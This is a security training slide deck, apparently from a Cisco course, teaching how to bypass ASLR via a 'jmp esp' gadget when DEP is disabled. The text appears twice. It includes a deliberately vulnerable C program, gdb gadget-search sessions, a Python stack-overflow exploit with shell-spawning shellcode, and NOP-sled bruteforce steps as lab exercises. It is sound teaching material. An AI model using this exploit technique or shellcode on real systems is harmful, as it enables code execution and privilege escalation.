Bypassing ASLR 
Why DEP matters 
Alex Moneger 
Security Engineer
Refresher 
 Classic buffer overflows store the shellcode on the stack 
 Shellcode is executed on the stack 
 Execution transfer is done by jumping to a fixed address 
 In modern OSs, addresses are randomized using ASLR 
 Is there a zone which is not covered by ASLR? 
 Can we exploit this? 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 2
Jmp reg 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 3
Approach 
 Consider DEP disabled. What impact does it have? 
 DEP disabled = execution on the stack 
 How can we transfer execution to the stack, without using fixed 
addresses? 
 Maybe we can find a piece of code in the binary itself to do that? 
 What asm construct redirects flows?: 
 Call 
 Jmp 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 4
Where to look? 
 Remember, .text section is not subject to ASLR unless explicitely 
specified by the compiler (-pie -fpie) 
 .text section is the only RE region which has fixed addresses 
 Looks suitable to look for things which have a fixed address 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 5
How to look 
 Manually: 
dahtah@kali:~/src/seccon/ch6$ objdump -d -j .text -M intel ch6 | egrep "jmp|call" | egrep -v 
"(call|jmp)[ t]+80" 
8048387: ff d0 call eax 
80483c4: ff d2 call edx 
804840f: ff d0 call eax 
804841f: ff e4 jmp esp 
80484d4: ff 94 b3 00 ff ff ff call DWORD PTR [ebx+esi*4-0x100] 
 A few nice ones. Jmp esp looks great. 
 Remember what your stack looks like, just before return to seip 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 6
Lazy searching 
 ROPeme is really nice, but is ROP oriented 
 Therefore, only finds call/jmp preceding a ret 
dahtah@kali:~/src/seccon/ch6$ ropshell.py 
Simple ROP interactive shell: [generate, load, search] gadgets 
ROPeMe> generate ch6 4 
Generating gadgets for ch6 with backward depth=4 
It may take few minutes depends on the depth and file size... 
Processing code block 1/1 
Generated 96 gadgets 
Dumping asm gadgets to file: ch6.ggt ... 
OK 
ROPeMe> search jmp % 
Searching for ROP gadget: jmp % with constraints: [] 
0x804841fL: jmp esp ; pop ebp ;; 
0x80483a0L: jmp far 0x75f8:0xd1d0011f ; add dh bl ;; 
ROPeMe> search call % 
Searching for ROP gadget: call % with constraints: [] 
0x8048387L: call eax ; leave ;; 
0x80483c4L: call edx ; leave ;; 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 7
Proper searching 
 Write asm and generate raw binary (or look up opcodes) 
 Search for bytes in memory 
 x86 ISA specifies that opcodes: 
1. have a varied length structure 
2. Eip does not have to land on 4 bytes boundaries 
 This approach can yield additional results when you know what your 
looking for (which you should ;)) 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 8
Example 
1. Write and compile the gadget your looking for: 
cisco@kali:~/src/seccon/ch6$ pygmentize -g jmp_esp.asm 
[bits 32] 
section .text: 
jmp esp 
cisco@kali:~/src/seccon/ch6$ nasm jmp_esp.asm 
cisco@kali:~/src/seccon/ch6$ hexdump jmp_esp 
0000000 e4ff 
0000002 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 9
Example – 2 
 Search for the hex pattern using gdb 
cisco@kali:~/src/seccon/ch6$ invoke -d ch6 AAAA 
Reading symbols from /home/cisco/src/seccon/ch6/ch6...done. 
gdb$ break main 
Breakpoint 1 at 0x8048465: file ch6.c, line 16. 
gdb$ r 
Breakpoint 1, main (argc=2, argv=0xbffffe34) at ch6.c:16 
16 vuln(argv[1]); 
gdb$ info proc mappings 
process 30215 
Mapped address spaces: 
Start Addr End Addr Size Offset objfile 
0x8048000 0x8049000 0x1000 0 /home/dahtah/src/seccon/ch6/ch6 
gdb$ find /h 0x8048000,0x8049000,0xe4ff 
0x804841f <useless+3> 
1 pattern found. 
gdb$ x/i 0x804841f 
0x804841f <useless+3>: jmp esp 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 10
Check what we can use 
 Check registers upon return of vulnerable function 
 Does anything point or is a pointer to anything interesting? 
cisco@kali:~/src/seccon/ch6$ invoke -d ch6 AAAA 
Reading symbols from /home/cisco/src/seccon/ch6/ch6...done. 
gdb$ disassemble 0x08048459,0x0804845c 
Dump of assembler code from 0x8048459 to 0x804845c: 
0x08048459 <vuln+54>: pop edi 
0x0804845a <vuln+55>: pop ebp 
0x0804845b <vuln+56>: ret 
End of assembler dump. 
gdb$ break *0x0804845b 
Breakpoint 1 at 0x804845b: file ch6.c, line 13. 
gdb$ info registers 
eax 0x1 1 
ecx 0x0 0 
edx 0x5 5 
ebx 0xb7fbeff4 -1208225804 
esp 0xbffffd6c 0xbffffd6c 
ebp 0xbffffd88 0xbffffd88 
esi 0x0 0 
edi 0x0 0 
eip 0x804845b 0x804845b <vuln+56> 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 11
Example 
 Check registers, nothing looks great 
 Esp maybe?: 
gdb$ p/x &buf 
$1 = 0xbffffcfc 
gdb$ # Check buf + overflow length 
gdb$ p/x 0xbffffcfc + 0x74 
$5 = 0xbffffd70 
gdb$ # Move past ret, where is esp 
gdb$ si 
 0x8048475 <main+25>: mov eax,0x0 
gdb$ info registers esp 
esp 0xbffffd70 0xbffffd70 
gdb$ # esp points to our shellcode! 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 12
Flow 
 Find a register pointing to our buffer 
 Put the shellcode in the right position 
 Find a jmp/call to reg 
 Overflow seip with the address of jmp/call reg 
 Execute shellcode upon ret 
shellcode 
&jmp_esp 
0x41414141 
0x41414141 
0x41414141 
0x41414141 
0x41414141 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 13
Example 
 Same vulnerable program, but with ASLR on 
cisco@kali:~/src/seccon/ch6$ pygmentize -g ch6.c 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
void useless(void) { 
__asm__("jmp *%esp"); 
} 
int vuln(const char *stuff) { 
char buf[0x64] = {0}; 
strcpy(buf, stuff); 
return 1; 
} 
int main(int argc, char **argv) { 
vuln(argv[1]); 
return 0; 
} 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 14
Exploit conditions 
 ASLR on, DEP off: 
cisco@kali:~/src/seccon/ch6$ /sbin/sysctl -a 2>/dev/null | grep randomize 
kernel.randomize_va_space = 2 
cisco@kali:~/src/seccon/ch6$ cc ch6.c -fno-stack-protector -U_FORTIFY_SOURCE -z execstack -g -o 
ch6 
cisco@kali:~/src/seccon/ch6$ ldd ch6 
linux-gate.so.1 => (0xb778d000) 
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb760c000) 
/lib/ld-linux.so.2 (0xb778e000) 
cisco@kali:~/src/seccon/ch6$ ldd ch6 
linux-gate.so.1 => (0xb77bc000) 
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb763b000) 
/lib/ld-linux.so.2 (0xb77bd000) 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 15
Exploit 
dahtah@kali:~/src/seccon/ch6$ pygmentize -g ch6.py 
#!/usr/bin/env python 
# -*- coding: utf-8 -*- 
import os 
import struct 
target = "ch6" 
overflow_len = 112 
jmp_esp = 0x0804841f 
target_path = os.path.abspath(target) 
# setreuid(geteuid(),geteuid()); execve("/bin/sh",0,0) 
sc = ("x6ax31x58x99xcdx80x89xc3x89xc1x6ax46" 
"x58xcdx80xb0x0bx52x68x6ex2fx73x68x68" 
"x2fx2fx62x69x89xe3x89xd1xcdx80") 
jmp_esp_addr = struct.pack("<I", jmp_esp) 
ex = "%s%s%s" % ('A'*overflow_len, jmp_esp_addr, sc) 
os.execve(target_path, (target_path, ex), os.environ) 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 16
Other approaches 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 17
Bruteforce 
 If you can try multiple times, bruteforce is an option: 
1. Pick an address for your buffer 
2. Pad your shellcode with a NOP sled 
3. Make your return address land in the middle of the NOP sled 
4. Try once, then try again 
5. and again, and again 
6. Get shell 
 Bruteforcing figures provided in ASLR section 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 18
Conclusion 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 19
Key points 
 ASLR is not very efficient without DEP 
 ASLR efficiency is limited on 32 bits 
 On a real world binary, chances you can find good gadgets are high 
 Depending on gadgets and values in registers, not all bugs are cleanly 
exploitable with ASLR 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 20
Get to work 
 Exploit ch6 with ASLR enabled 
 Check the memory mappings of 
ch6. What is predictable? What 
changes? 
 Search for various gadgets 
using nasm and gdb 
 Bruteforce ch6 (do not rely on 
gadgets). How many tries does it 
take? How long? 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 21

07 - Bypassing ASLR, or why X^W matters

  • 1.
    Bypassing ASLR WhyDEP matters Alex Moneger Security Engineer
  • 2.
    Refresher  Classicbuffer overflows store the shellcode on the stack  Shellcode is executed on the stack  Execution transfer is done by jumping to a fixed address  In modern OSs, addresses are randomized using ASLR  Is there a zone which is not covered by ASLR?  Can we exploit this? © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 2
  • 3.
    Jmp reg ©2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 3
  • 4.
    Approach  ConsiderDEP disabled. What impact does it have?  DEP disabled = execution on the stack  How can we transfer execution to the stack, without using fixed addresses?  Maybe we can find a piece of code in the binary itself to do that?  What asm construct redirects flows?:  Call  Jmp © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 4
  • 5.
    Where to look?  Remember, .text section is not subject to ASLR unless explicitely specified by the compiler (-pie -fpie)  .text section is the only RE region which has fixed addresses  Looks suitable to look for things which have a fixed address © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 5
  • 6.
    How to look  Manually: dahtah@kali:~/src/seccon/ch6$ objdump -d -j .text -M intel ch6 | egrep "jmp|call" | egrep -v "(call|jmp)[ t]+80" 8048387: ff d0 call eax 80483c4: ff d2 call edx 804840f: ff d0 call eax 804841f: ff e4 jmp esp 80484d4: ff 94 b3 00 ff ff ff call DWORD PTR [ebx+esi*4-0x100]  A few nice ones. Jmp esp looks great.  Remember what your stack looks like, just before return to seip © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 6
  • 7.
    Lazy searching ROPeme is really nice, but is ROP oriented  Therefore, only finds call/jmp preceding a ret dahtah@kali:~/src/seccon/ch6$ ropshell.py Simple ROP interactive shell: [generate, load, search] gadgets ROPeMe> generate ch6 4 Generating gadgets for ch6 with backward depth=4 It may take few minutes depends on the depth and file size... Processing code block 1/1 Generated 96 gadgets Dumping asm gadgets to file: ch6.ggt ... OK ROPeMe> search jmp % Searching for ROP gadget: jmp % with constraints: [] 0x804841fL: jmp esp ; pop ebp ;; 0x80483a0L: jmp far 0x75f8:0xd1d0011f ; add dh bl ;; ROPeMe> search call % Searching for ROP gadget: call % with constraints: [] 0x8048387L: call eax ; leave ;; 0x80483c4L: call edx ; leave ;; © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 7
  • 8.
    Proper searching Write asm and generate raw binary (or look up opcodes)  Search for bytes in memory  x86 ISA specifies that opcodes: 1. have a varied length structure 2. Eip does not have to land on 4 bytes boundaries  This approach can yield additional results when you know what your looking for (which you should ;)) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 8
  • 9.
    Example 1. Writeand compile the gadget your looking for: cisco@kali:~/src/seccon/ch6$ pygmentize -g jmp_esp.asm [bits 32] section .text: jmp esp cisco@kali:~/src/seccon/ch6$ nasm jmp_esp.asm cisco@kali:~/src/seccon/ch6$ hexdump jmp_esp 0000000 e4ff 0000002 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 9
  • 10.
    Example – 2  Search for the hex pattern using gdb cisco@kali:~/src/seccon/ch6$ invoke -d ch6 AAAA Reading symbols from /home/cisco/src/seccon/ch6/ch6...done. gdb$ break main Breakpoint 1 at 0x8048465: file ch6.c, line 16. gdb$ r Breakpoint 1, main (argc=2, argv=0xbffffe34) at ch6.c:16 16 vuln(argv[1]); gdb$ info proc mappings process 30215 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0 /home/dahtah/src/seccon/ch6/ch6 gdb$ find /h 0x8048000,0x8049000,0xe4ff 0x804841f <useless+3> 1 pattern found. gdb$ x/i 0x804841f 0x804841f <useless+3>: jmp esp © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 10
  • 11.
    Check what wecan use  Check registers upon return of vulnerable function  Does anything point or is a pointer to anything interesting? cisco@kali:~/src/seccon/ch6$ invoke -d ch6 AAAA Reading symbols from /home/cisco/src/seccon/ch6/ch6...done. gdb$ disassemble 0x08048459,0x0804845c Dump of assembler code from 0x8048459 to 0x804845c: 0x08048459 <vuln+54>: pop edi 0x0804845a <vuln+55>: pop ebp 0x0804845b <vuln+56>: ret End of assembler dump. gdb$ break *0x0804845b Breakpoint 1 at 0x804845b: file ch6.c, line 13. gdb$ info registers eax 0x1 1 ecx 0x0 0 edx 0x5 5 ebx 0xb7fbeff4 -1208225804 esp 0xbffffd6c 0xbffffd6c ebp 0xbffffd88 0xbffffd88 esi 0x0 0 edi 0x0 0 eip 0x804845b 0x804845b <vuln+56> © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 11
  • 12.
    Example  Checkregisters, nothing looks great  Esp maybe?: gdb$ p/x &buf $1 = 0xbffffcfc gdb$ # Check buf + overflow length gdb$ p/x 0xbffffcfc + 0x74 $5 = 0xbffffd70 gdb$ # Move past ret, where is esp gdb$ si  0x8048475 <main+25>: mov eax,0x0 gdb$ info registers esp esp 0xbffffd70 0xbffffd70 gdb$ # esp points to our shellcode! © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 12
  • 13.
    Flow  Finda register pointing to our buffer  Put the shellcode in the right position  Find a jmp/call to reg  Overflow seip with the address of jmp/call reg  Execute shellcode upon ret shellcode &jmp_esp 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 13
  • 14.
    Example  Samevulnerable program, but with ASLR on cisco@kali:~/src/seccon/ch6$ pygmentize -g ch6.c #include <stdlib.h> #include <stdio.h> #include <string.h> void useless(void) { __asm__("jmp *%esp"); } int vuln(const char *stuff) { char buf[0x64] = {0}; strcpy(buf, stuff); return 1; } int main(int argc, char **argv) { vuln(argv[1]); return 0; } © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 14
  • 15.
    Exploit conditions ASLR on, DEP off: cisco@kali:~/src/seccon/ch6$ /sbin/sysctl -a 2>/dev/null | grep randomize kernel.randomize_va_space = 2 cisco@kali:~/src/seccon/ch6$ cc ch6.c -fno-stack-protector -U_FORTIFY_SOURCE -z execstack -g -o ch6 cisco@kali:~/src/seccon/ch6$ ldd ch6 linux-gate.so.1 => (0xb778d000) libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb760c000) /lib/ld-linux.so.2 (0xb778e000) cisco@kali:~/src/seccon/ch6$ ldd ch6 linux-gate.so.1 => (0xb77bc000) libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb763b000) /lib/ld-linux.so.2 (0xb77bd000) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 15
  • 16.
    Exploit dahtah@kali:~/src/seccon/ch6$ pygmentize-g ch6.py #!/usr/bin/env python # -*- coding: utf-8 -*- import os import struct target = "ch6" overflow_len = 112 jmp_esp = 0x0804841f target_path = os.path.abspath(target) # setreuid(geteuid(),geteuid()); execve("/bin/sh",0,0) sc = ("x6ax31x58x99xcdx80x89xc3x89xc1x6ax46" "x58xcdx80xb0x0bx52x68x6ex2fx73x68x68" "x2fx2fx62x69x89xe3x89xd1xcdx80") jmp_esp_addr = struct.pack("<I", jmp_esp) ex = "%s%s%s" % ('A'*overflow_len, jmp_esp_addr, sc) os.execve(target_path, (target_path, ex), os.environ) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 16
  • 17.
    Other approaches ©2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 17
  • 18.
    Bruteforce  Ifyou can try multiple times, bruteforce is an option: 1. Pick an address for your buffer 2. Pad your shellcode with a NOP sled 3. Make your return address land in the middle of the NOP sled 4. Try once, then try again 5. and again, and again 6. Get shell  Bruteforcing figures provided in ASLR section © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 18
  • 19.
    Conclusion © 2013-2014Cisco and/or its affiliates. All rights reserved. Cisco Confidential 19
  • 20.
    Key points ASLR is not very efficient without DEP  ASLR efficiency is limited on 32 bits  On a real world binary, chances you can find good gadgets are high  Depending on gadgets and values in registers, not all bugs are cleanly exploitable with ASLR © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 20
  • 21.
    Get to work  Exploit ch6 with ASLR enabled  Check the memory mappings of ch6. What is predictable? What changes?  Search for various gadgets using nasm and gdb  Bruteforce ch6 (do not rely on gadgets). How many tries does it take? How long? © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 21